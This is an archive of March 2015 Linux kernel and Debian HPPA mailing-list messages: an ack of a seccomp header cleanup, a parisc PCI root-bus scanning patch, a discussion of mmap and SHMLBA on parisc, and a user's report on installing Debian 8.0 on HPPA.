NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1425537152 10145 80.91.229.3 (5 Mar 2015 06:32:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 5 Mar 2015 06:32:32 +0000 (UTC)
Cc: akpm@linux-foundation.org, Ingo Molnar <mingo@redhat.com>,
	Russell King <linux@arm.linux.org.uk>,
	Michal Simek <monstr@monstr.eu>,
	Ralf Baechle <ralf@linux-mips.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Paul Mackerras <paulus@samba.org>,
	Michael Ellerman <mpe@ellerman.id.au>,
	"David S. Miller" <davem@davemloft.net>, x86@kernel.org,
	Arnd Bergmann <arnd@arndb.de>,
	Frederic Weisbecker <fweisbec@gmail.com>,
	Peter Zijlstra <peterz@infradead.org>,
	Will Deacon <will.deacon@arm.com>,
	Daniel Borkmann <dborkman@redhat.com>,
	Laura Abbott <lauraa@codeaurora.org>,
	James Hogan <james.hogan@imgtec.com>,
	linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
	linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, sparclinux@vger.kernel.org,
	lin
To: Kees Cook <keescook@chromium.org>
Original-X-From: linux-arch-owner@vger.kernel.org Thu Mar 05 07:32:28 2015
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1YTPK5-00081v-Fb
	for glka-linux-arch@plane.gmane.org; Thu, 05 Mar 2015 07:31:53 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753335AbbCEGbu (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Thu, 5 Mar 2015 01:31:50 -0500
Original-Received: from mail-we0-f174.google.com ([74.125.82.174]:41805 "EHLO
	mail-we0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753257AbbCEGbt (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Thu, 5 Mar 2015 01:31:49 -0500
Original-Received: by wevm14 with SMTP id m14so50861526wev.8;
        Wed, 04 Mar 2015 22:31:47 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=sender:date:from:to:cc:subject:message-id:references:mime-version
         :content-type:content-disposition:in-reply-to:user-agent;
        bh=0P5GYZX6WZrlr2fwo0kBeRfNdoXf2n9UPFqeu/fWkxA=;
        b=1KAyGlgy6dQFRMDoJI4PVlJOW4j4MiqLF76LkxygKsalVmkf2Ab8FKBfbGtGhqs20I
         BS7NQdUx6Abg0ReHHPejyIcLE0t3+OABAt/4VNr0fCEK6PQUO2wU/ZbGcgUbgTal6BcC
         oSxnW/Dr9MHih1jmLoGcczJUiqBg4k0sI5gcnsvDPEhlsNJy1/7TTvY9VI2I6tZMUcUs
         Fp5PxcLmMDvWSIJRgMPfd81PjF8Oa0FeR99g4NUrYDkH99K0XvHuLOkMvwBgQTEkaLal
         qhI70Wvb1czeFISlKrMVStWTW67A90VzH25F/QBF0n93whWeahqYiuzuUGbyRao5YVQR
         lOvw==
X-Received: by 10.180.75.243 with SMTP id f19mr19323133wiw.94.1425537107565;
        Wed, 04 Mar 2015 22:31:47 -0800 (PST)
Original-Received: from gmail.com (540334ED.catv.pool.telekom.hu. [84.3.52.237])
        by mx.google.com with ESMTPSA id vq9sm7423954wjc.6.2015.03.04.22.31.44
        (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Wed, 04 Mar 2015 22:31:46 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <1425518828-16017-9-git-send-email-keescook@chromium.org>
User-Agent: Mutt/1.5.23 (2014-03-12)
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:26561 gmane.linux.ports.arm.kernel:397545 gmane.linux.kernel:1901075 gmane.linux.ports.mips.general:47342 gmane.linux.ports.parisc:25630 gmane.linux.ports.ppc64.devel:109746 gmane.linux.ports.sparc:20535
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/26561>


* Kees Cook <keescook@chromium.org> wrote:

> Switch to using the newly created asm-generic/seccomp.h for the 
> seccomp strict mode syscall definitions. The obsolete sigreturn 
> syscall override is retained in 32-bit mode, and the ia32 syscall 
> overrides are used in the compat case. Remaining definitions were 
> identical.
> 
> Signed-off-by: Kees Cook <keescook@chromium.org>

Acked-by: Ingo Molnar <mingo@kernel.org>

Thanks,

	Ingo

From - Thu Nov 08 21:37:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Yijing Wang <wangyijing@huawei.com>
Newsgroups: gmane.linux.kernel.pci,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.alpha,gmane.linux.ports.parisc
Subject: [PATCH v5 21/29] parisc/PCI: Use pci_scan_root_bus() for simplicity
Date: Fri, 6 Mar 2015 17:33:38 +0800
Lines: 90
Approved: news@gmane.org
Message-ID: <1425634426-437-22-git-send-email-wangyijing@huawei.com>
References: <1425634426-437-1-git-send-email-wangyijing@huawei.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1425634854 10716 80.91.229.3 (6 Mar 2015 09:40:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 6 Mar 2015 09:40:54 +0000 (UTC)
Cc: Jiang Liu <jiang.liu@linux.intel.com>, <linux-pci@vger.kernel.org>,
	Yinghai Lu <yinghai@kernel.org>,
	<linux-kernel@vger.kernel.org>,
	Marc Zyngier <marc.zyngier@arm.com>,
	<linux-arm-kernel@lists.infradead.org>,
	Russell King <linux@arm.linux.org.uk>, <x86@kernel.org>,
	Thomas Gleixner <tglx@linutronix.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Rusty Russell <rusty@rustcorp.com.au>,
	Tony Luck <tony.luck@intel.com>, <linux-ia64@vger.kernel.org>,
	"David S. Miller" <davem@davemloft.net>,
	"Guan Xuetao" <gxt@mprc.pku.edu.cn>, <linux-alpha@vger.kernel.org>,
	<linux-m68k@lists.linux-m68k.org>, Liviu Dudau <liviu@dudau.co.uk>,
	"Arnd Bergmann" <arnd@arndb.de>,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	"Yijing Wang" <wangyijing@huawei.com>,
	Yijing Wang <wangyijing0307@gmail.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	<linux-parisc@vger.kernel.org>, Bjorn He
To: Bjorn Helgaas <bhelgaas@google.com>
Original-X-From: linux-pci-owner@vger.kernel.org Fri Mar 06 10:40:50 2015
Return-path: <linux-pci-owner@vger.kernel.org>
Envelope-to: glp-linux-pci@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-pci-owner@vger.kernel.org>)
	id 1YTokT-0006tv-Dg
	for glp-linux-pci@plane.gmane.org; Fri, 06 Mar 2015 10:40:49 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754357AbbCFJkq (ORCPT <rfc822;glp-linux-pci@m.gmane.org>);
	Fri, 6 Mar 2015 04:40:46 -0500
Original-Received: from szxga02-in.huawei.com ([119.145.14.65]:28199 "EHLO
	szxga02-in.huawei.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754354AbbCFJgk (ORCPT
	<rfc822;linux-pci@vger.kernel.org>); Fri, 6 Mar 2015 04:36:40 -0500
Original-Received: from 172.24.2.119 (EHLO szxeml427-hub.china.huawei.com) ([172.24.2.119])
	by szxrg02-dlp.huawei.com (MOS 4.3.7-GA FastPath queued)
	with ESMTP id CIB77906;
	Fri, 06 Mar 2015 17:36:36 +0800 (CST)
Original-Received: from localhost.localdomain (10.175.100.166) by
 szxeml427-hub.china.huawei.com (10.82.67.182) with Microsoft SMTP Server id
 14.3.158.1; Fri, 6 Mar 2015 17:36:23 +0800
X-Mailer: git-send-email 1.7.1
In-Reply-To: <1425634426-437-1-git-send-email-wangyijing@huawei.com>
X-Originating-IP: [10.175.100.166]
X-CFilter-Loop: Reflected
Original-Sender: linux-pci-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-pci.vger.kernel.org>
X-Mailing-List: linux-pci@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.pci:39657 gmane.linux.kernel:1902029 gmane.linux.ports.arm.kernel:397914 gmane.linux.ports.ia64:25169 gmane.linux.ports.alpha:2798 gmane.linux.ports.parisc:25631
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.pci/39657>

From: Yijing Wang <wangyijing0307@gmail.com>

Now pci_bus_add_devices() has been ripped out
from pci_scan_root_bus(), we could use pci_scan_root_bus()
instead of pci_create_root_bus() + pci_scan_child_bus()
for simplicity.

Signed-off-by: Yijing Wang <wangyijing@huawei.com>
CC: "James E.J. Bottomley" <jejb@parisc-linux.org>
CC: linux-parisc@vger.kernel.org
Signed-off-by: Bjorn Helgaas <bhelgaas@google.com>
---
 drivers/parisc/dino.c    |    8 +++-----
 drivers/parisc/lba_pci.c |    7 ++-----
 2 files changed, 5 insertions(+), 10 deletions(-)

diff --git a/drivers/parisc/dino.c b/drivers/parisc/dino.c
index a0580af..eb76a9d 100644
--- a/drivers/parisc/dino.c
+++ b/drivers/parisc/dino.c
@@ -981,11 +981,12 @@ static int __init dino_probe(struct parisc_device *dev)
 	dino_dev->hba.bus_num.end = 255;
 	dino_dev->hba.bus_num.flags = IORESOURCE_BUS;
 	pci_add_resource(&resources, &dino_dev->hba.bus_num);
+
 	/*
 	** It's not used to avoid chicken/egg problems
 	** with configuration accessor functions.
 	*/
-	dino_dev->hba.hba_bus = bus = pci_create_root_bus(&dev->dev,
+	dino_dev->hba.hba_bus = bus = pci_scan_root_bus(&dev->dev,
 			 dino_current_bus, &dino_cfg_ops, NULL, &resources);
 	if (!bus) {
 		printk(KERN_ERR "ERROR: failed to scan PCI bus on %s (duplicate bus number %d?)\n",
@@ -996,13 +997,10 @@ static int __init dino_probe(struct parisc_device *dev)
 		return 0;
 	}
 
-	max = pci_scan_child_bus(bus);
-	pci_bus_update_busn_res_end(bus, max);
-
 	/* This code *depends* on scanning being single threaded
 	 * if it isn't, this global bus number count will fail
 	 */
-	dino_current_bus = max + 1;
+	dino_current_bus = bus->busn_res.end + 1;
 	pci_bus_assign_resources(bus);
 	pci_bus_add_devices(bus);
 	return 0;
diff --git a/drivers/parisc/lba_pci.c b/drivers/parisc/lba_pci.c
index dceb9dd..ba6daec 100644
--- a/drivers/parisc/lba_pci.c
+++ b/drivers/parisc/lba_pci.c
@@ -1422,7 +1422,6 @@ lba_driver_probe(struct parisc_device *dev)
 	void *tmp_obj;
 	char *version;
 	void __iomem *addr = ioremap_nocache(dev->hpa.start, 4096);
-	int max;
 
 	/* Read HW Rev First */
 	func_class = READ_REG32(addr + LBA_FCLASS);
@@ -1563,15 +1562,13 @@ lba_driver_probe(struct parisc_device *dev)
 
 	dev->dev.platform_data = lba_dev;
 	lba_bus = lba_dev->hba.hba_bus =
-		pci_create_root_bus(&dev->dev, lba_dev->hba.bus_num.start,
+		pci_scan_root_bus(&dev->dev, lba_dev->hba.bus_num.start,
 				    cfg_ops, NULL, &resources);
 	if (!lba_bus) {
 		pci_free_resource_list(&resources);
 		return 0;
 	}
 
-	max = pci_scan_child_bus(lba_bus);
-
 	/* This is in lieu of calling pci_assign_unassigned_resources() */
 	if (is_pdc_pat()) {
 		/* assign resources to un-initialized devices */
@@ -1599,7 +1596,7 @@ lba_driver_probe(struct parisc_device *dev)
 		lba_dev->flags |= LBA_FLAG_SKIP_PROBE;
 	}
 
-	lba_next_bus = max + 1;
+	lba_next_bus = pci_bus_child_max_busnr(lba_bus) + 1;
 	pci_bus_add_devices(lba_bus);
 
 	/* Whew! Finally done! Tell services we got this one covered. */
-- 
1.7.1


From - Thu Nov 08 21:37:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: fix mmap(MAP_FIXED|MAP_SHARED) to already mmapped address
Date: Sat, 7 Mar 2015 14:05:29 -0500
Lines: 25
Approved: news@gmane.org
Message-ID: <CAE2sS1it+0djrgRhTz2NLU1hB6LTYX9mRGTT_iUZwJR4Bd7Bfw@mail.gmail.com>
References: <20131219191750.GC2881@blackmetal.musicnaut.iki.fi>
	<5313A12E.7010307@gmx.de>
	<20140401182627.GA3285@drone.musicnaut.iki.fi>
	<533B0A57.2060700@gmx.de>
	<CAE2sS1jZTzccFy_uWri++cgVz+AYVfY0_aFqXFxnJXZV3d1a0g@mail.gmail.com>
	<533C7C9A.5080703@gmx.de>
	<BLU0-SMTP84F101069B44354FC1070C976D0@phx.gbl>
	<533DB961.9010607@gmx.de>
	<BLU0-SMTP7204937E7AF88D8736354E976C0@phx.gbl>
	<533DC3E8.5010701@gmx.de>
	<CAE2sS1iY6H3fnEJDHr6oPGywwGYmM_2gt2r_p+DUz+v0Rf2szg@mail.gmail.com>
	<BLU436-SMTP15952414B35EC498F0793B1972B0@phx.gbl>
	<BLU437-SMTP9274AAFB2636BF93781F02972B0@phx.gbl>
	<1424560158.2146.22.camel@HansenPartnership.com>
	<54E9141B.4050009@gmx.de>
	<1424563046.2146.41.camel@HansenPartnership.com>
	<BLU436-SMTP737CEAAA0E7C3EAEFB9DB097280@phx.gbl>
	<1424625475.2146.88.camel@HansenPartnership.com>
	<BLU437-SMTP61AF76DB80DF7F81524FCC97280@phx.gbl>
	<1424627938.2146.103.camel@HansenPartnership.com>
	<54EA1ADC.60701@gmx.de>
	<1424632396.2146.116.camel@HansenPartnership.com>
	<54EA2B1B.10406@gmx.de>
	<1424634170.2146.119.camel@HansenPartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1425755142 14093 80.91.229.3 (7 Mar 2015 19:05:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 7 Mar 2015 19:05:42 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	John David Anglin <dave.anglin@bell.net>,
	Aaro Koskinen <aaro.koskinen@iki.fi>,
	Mike Frysinger <vapier@gentoo.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@hansenpartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Mar 07 20:05:34 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YUK2V-00063B-TM
	for glpp-linux-parisc@plane.gmane.org; Sat, 07 Mar 2015 20:05:32 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751729AbbCGTFb (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 7 Mar 2015 14:05:31 -0500
Original-Received: from mail-ie0-f178.google.com ([209.85.223.178]:44989 "EHLO
	mail-ie0-f178.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751628AbbCGTFa (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 7 Mar 2015 14:05:30 -0500
Original-Received: by iery20 with SMTP id y20so465669ier.11
        for <linux-parisc@vger.kernel.org>; Sat, 07 Mar 2015 11:05:29 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=systemhalted.org; s=google;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type;
        bh=wO/WSCqI59oLCHxjZnFg7uexAGyiUS5AIEo4+3nIORA=;
        b=Y4IEFmFtXgNeGTxiUR9bK6jo0+n6XXuSmcUvrKxRtQsCvw4Mi6fXenIMhJHTO4Uims
         QBJUAfPe/f8nD9KRrplz5wctUc1Up2MTaUUCN8DLMCBtB8bcfKEvVqSSlpZn5pSpTT+9
         VX1rbYt75G7SgP3X7wHIaWXbolysgVqRQziXc=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:in-reply-to:references:date
         :message-id:subject:from:to:cc:content-type;
        bh=wO/WSCqI59oLCHxjZnFg7uexAGyiUS5AIEo4+3nIORA=;
        b=OcJhEOnDcPJ4r3fk71fE6yX3lC6GlxNgCKbCtO3ZLagkvZ33NrX5dsCkGGr7krmd8P
         yUguBTyzhozBTxQfeparxxrwQ3NEZbKkXaNioygx+DTCE8OedGjFz8/bZAHDM4AfDGmD
         NnvIoL3ReE+4kNSqwiKvrhI+PH6JFY/V9Jec/R1IgWLaE7OMCXssah5UR0AaqM6p4xu2
         A1qhVZ5S3xp+Gt7FMddfx9B+KevE2zOlzqkOCMD1odRvhTgrryLnFInbmOxXNTHq/Txz
         0w9XW91dS1q89ocX5IDz0RS3AYI1tt1i1RxQLH7yGMKySJtR8ZiKvPyHDFbGPyMJKZvh
         4eEA==
X-Gm-Message-State: ALoCoQl2o7QKIe2nVeFgtq2T/LrYlYPeUssJvy+TJ+7p1jfMXC4atZ7ZClsahKSQyAM+/hygpRgD
X-Received: by 10.50.73.99 with SMTP id k3mr62550868igv.21.1425755129516; Sat,
 07 Mar 2015 11:05:29 -0800 (PST)
Original-Received: by 10.107.132.199 with HTTP; Sat, 7 Mar 2015 11:05:29 -0800 (PST)
X-Originating-IP: [76.66.149.25]
In-Reply-To: <1424634170.2146.119.camel@HansenPartnership.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25632
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25632>

On Sun, Feb 22, 2015 at 2:42 PM, James Bottomley
<James.Bottomley@hansenpartnership.com> wrote:
> I know, I do, but that's sort of expected: most modern linux apps use
> mmap.  It's the older stuff that uses sys-v ipc, but perhaps for us this
> doesn't matter.

And that's the real truth.

The usage patterns that appear to matter are:
(a) An initial mmap, followed by an mmap with MAP_FIXED at the same
previous address.
(b) shmat with SHM_RND, in which case we get to round the resulting
address or return EINVAL.

Both of (a) and (b) work today if glibc sets SHMLBA to 4kb.

On parisc we simply can't deal with the user selecting an arbitrary address.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geoff Matthews <g.j.matthews@gmail.com>
Newsgroups: gmane.linux.debian.ports.hppa,gmane.linux.ports.parisc
Subject: Re: Pre-DEBIAN 8.0 install images for HPPA architecture (debian-ports
 unstable release)
Date: Mon, 9 Mar 2015 09:21:40 +1100
Lines: 116
Approved: news@gmane.org
Message-ID: <CAJHT4_S3UNiXC5xqAgcAcGTP5xsQ4kanbQq-Oso=kB5+3DtAvA@mail.gmail.com>
References: <54ECB150.80907@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary=001a1147a4507c0b080510ce5798
X-Trace: ger.gmane.org 1425854355 31549 80.91.229.3 (8 Mar 2015 22:39:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 8 Mar 2015 22:39:15 +0000 (UTC)
Cc: HPPA porters <debian-hppa@lists.debian.org>, 
	linux-parisc <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org Sun Mar 08 23:39:15 2015
Return-path: <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>
Envelope-to: debian-hppa@m.gmane.org
Original-Received: from bendel.debian.org ([82.195.75.100])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>)
	id 1YUjqs-0006Lw-EP
	for debian-hppa@m.gmane.org; Sun, 08 Mar 2015 23:39:14 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with QMQP
	id 9F1BA145; Sun,  8 Mar 2015 22:39:13 +0000 (UTC)
Old-Return-Path: <g.j.matthews@gmail.com>
X-Spam-Checker-Version: SpamAssassin 3.3.2 (2011-06-06) on bendel.debian.org
X-Spam-Level: ***
X-Spam-Status: No, score=3.6 required=4.0 tests=DKIM_SIGNED,DKIM_VALID,
	DKIM_VALID_AU,DKIM_VERIFIED,FOURLA,FREEMAIL_FROM,HTML_MESSAGE,
	SARE_HTML_USL_OBFU autolearn=no version=3.3.2
X-Original-To: lists-debian-hppa@bendel.debian.org
Delivered-To: lists-debian-hppa@bendel.debian.org
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with ESMTP id D082B2AC
	for <lists-debian-hppa@bendel.debian.org>; Sun,  8 Mar 2015 22:21:51 +0000 (UTC)
X-Virus-Scanned: at lists.debian.org with policy bank en-lt
X-Amavis-Spam-Status: No, score=1.667 tagged_above=-10000 required=5.3
	tests=[BAYES_00=-2, DKIM_SIGNED=0.1, DKIM_VALID=-0.1,
	DKIM_VALID_AU=-0.1, FOURLA=0.1, FREEMAIL_FROM=0.001, HTML_MESSAGE=2,
	SARE_HTML_USL_OBFU=1.666] autolearn=no
Original-Received: from bendel.debian.org ([127.0.0.1])
	by localhost (lists.debian.org [127.0.0.1]) (amavisd-new, port 2525)
	with ESMTP id 1HhnueXuCHlN for <lists-debian-hppa@bendel.debian.org>;
	Sun,  8 Mar 2015 22:21:46 +0000 (UTC)
Original-Received: from mail-qg0-x230.google.com (mail-qg0-x230.google.com [IPv6:2607:f8b0:400d:c04::230])
	(using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
	(Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (not verified))
	by bendel.debian.org (Postfix) with ESMTPS id 8F1242B1
	for <debian-hppa@lists.debian.org>; Sun,  8 Mar 2015 22:21:43 +0000 (UTC)
X-policyd-weight: using cached result; rate:hard: -7
Original-Received: by qgdz107 with SMTP id z107so24540316qgd.4
        for <debian-hppa@lists.debian.org>; Sun, 08 Mar 2015 15:21:40 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type;
        bh=VgHORA2BeXWmM9JIbmFjMiEOp3StU4vy6UJiQc/xtcY=;
        b=qrOLAPOsCgsNg+IFeeC8M/+ndhPfWyrEiLfg9wslaz3xTcevqbRUjsYANfgn4vysT0
         PtP693x9Ny5+Op2huiJ5fZYlYaFiO03GskowjFto85p6HrP/N/wetjnJGVeUkESMBZsQ
         M/iLD+JBDxR0g/bvF3qdxjcMgM+/Fb4DybcdLET6VfxvzAqSKYG2FiJLYEdQ1WoD8lGR
         48OzrJpY8HkqnkGi+fsafn528UNLn0VqI2iBTGKhceoJlmYwrrDNd4f7eH+kMFqFdbmg
         OQtUx0rb01jzkqcOlXObRu4y1DhLqFj7vXtJxljkIUFwRUMb5I7sYfMw/zkxVM1AtLJM
         SHRg==
X-Received: by 10.55.23.71 with SMTP id i68mr43019851qkh.79.1425853300606;
 Sun, 08 Mar 2015 15:21:40 -0700 (PDT)
Original-Received: by 10.96.242.135 with HTTP; Sun, 8 Mar 2015 15:21:40 -0700 (PDT)
In-Reply-To: <54ECB150.80907@gmx.de>
X-Rc-Spam: 2008-11-04_01
X-Rc-Virus: 2007-09-13_01
X-Rc-Spam: 2008-11-04_01
Resent-Message-ID: <NjQw1L4F61.A.UHE.R-M_UB@bendel>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/8249
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-URL: <http://lists.debian.org/debian-hppa/>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Sun,  8 Mar 2015 22:39:13 +0000 (UTC)
Xref: news.gmane.org gmane.linux.debian.ports.hppa:7263 gmane.linux.ports.parisc:25633
Archived-At: <http://permalink.gmane.org/gmane.linux.debian.ports.hppa/7263>

--001a1147a4507c0b080510ce5798
Content-Type: text/plain; charset=UTF-8

Hi Helge et al,

I have tried this Debian 8.0 installation on a spare HD in my C3700. The
installer is painless & "runs like a Swiss watch". I had no trouble
installing a KDE desktop environment and booting it. The software
repository and the packages downloaded gave no trouble at all. The base OS
has been rock solid. I have installed boinc/seti@home and that has had the
box at 100% CPU load all night without trouble. Some packages have been a
bit slow/clunky but given the age of the C3700 that is no surprise.

The only package to consistently crash was "system settings" any time I
tried to change display settings. The base OS has not crashed AT ALL.

Cheers, Geoff.

On Wed, Feb 25, 2015 at 4:13 AM, Helge Deller <deller@gmx.de> wrote:

> Hello everyone,
>
> I've prepared some initial netboot installation medias for
>         DEBIAN 8.0 on HPPA
>
> which are available at:
>         http://ftp.debian-ports.org/debian-cd/hppa/debian-8.0/
>
> You can find the instructions on how to install Debian 8.0 on hppa in our
> wiki at
>         https://parisc.wiki.kernel.org/index.php/Debian_Ports_Installation
>
> The install images will install binaries from debian-ports (Debian
> "unstable").
>
> Major changes include:
> - Based on Debian 8.0 code base
> - Full systemd support
> - Linux kernel modules for SATA included
> - Lots of bug fixes
> - Should support all common PA-RISC hardware (on C8000 installation needs
> to be done via serial port)
>
> I'm happy to get your feedback (either as bug report or successful
> installation report).
>
> Helge
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
>

--001a1147a4507c0b080510ce5798
Content-Type: text/html; charset=UTF-8
Content-Transfer-Encoding: quoted-printable

<div dir=3D"ltr"><div><div>Hi Helge et al,<br><br></div>I have tried this D=
ebian 8.0 installation on a spare HD in my C3700. The installer is painless=
 &amp; &quot;runs like a Swiss watch&quot;. I had no trouble installing a K=
DE desktop environment and booting it. The software repository and the pack=
ages downloaded gave no trouble at all. The base OS has been rock solid. I =
have installed boinc/seti@home and that has had the box at 100% CPU load al=
l night without trouble. Some packages have been a bit slow/clunky but give=
n the age of the C3700 that is no surprise.<br><br></div><div>The only pack=
age to consistently crash was &quot;system settings&quot; any time I tried =
to change display settings. The base OS has not crashed AT ALL.<br></div><d=
iv><br></div>Cheers, Geoff.<br></div><div class=3D"gmail_extra"><br><div cl=
ass=3D"gmail_quote">On Wed, Feb 25, 2015 at 4:13 AM, Helge Deller <span dir=
=3D"ltr">&lt;<a href=3D"mailto:deller@gmx.de" target=3D"_blank">deller@gmx.=
de</a>&gt;</span> wrote:<br><blockquote class=3D"gmail_quote" style=3D"marg=
in:0 0 0 .8ex;border-left:1px #ccc solid;padding-left:1ex">Hello everyone,<=
br>
<br>
I&#39;ve prepared some initial netboot installation medias for<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 DEBIAN 8.0 on HPPA<br>
<br>
which are available at:<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 <a href=3D"http://ftp.debian-ports.org/debian-c=
d/hppa/debian-8.0/" target=3D"_blank">http://ftp.debian-ports.org/<u></u>de=
bian-cd/hppa/debian-8.0/</a><br>
<br>
You can find the instructions on how to install Debian 8.0 on hppa in our w=
iki at<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 <a href=3D"https://parisc.wiki.kernel.org/index=
.php/Debian_Ports_Installation" target=3D"_blank">https://parisc.wiki.kerne=
l.<u></u>org/index.php/Debian_Ports_<u></u>Installation</a><br>
<br>
The install images will install binaries from debian-ports (Debian &quot;un=
stable&quot;).<br>
<br>
Major changes include:<br>
- Based on Debian 8.0 code base<br>
- Full systemd support<br>
- Linux kernel modules for SATA included<br>
- Lots of bug fixes<br>
- Should support all common PA-RISC hardware (on C8000 installation needs t=
o be done via serial port)<br>
<br>
I&#39;m happy to get your feedback (either as bug report or successful inst=
allation report).<br>
<br>
Helge<br>
--<br>
To unsubscribe from this list: send the line &quot;unsubscribe linux-parisc=
&quot; in<br>
the body of a message to <a href=3D"mailto:majordomo@vger.kernel.org" targe=
t=3D"_blank">majordomo@vger.kernel.org</a><br>
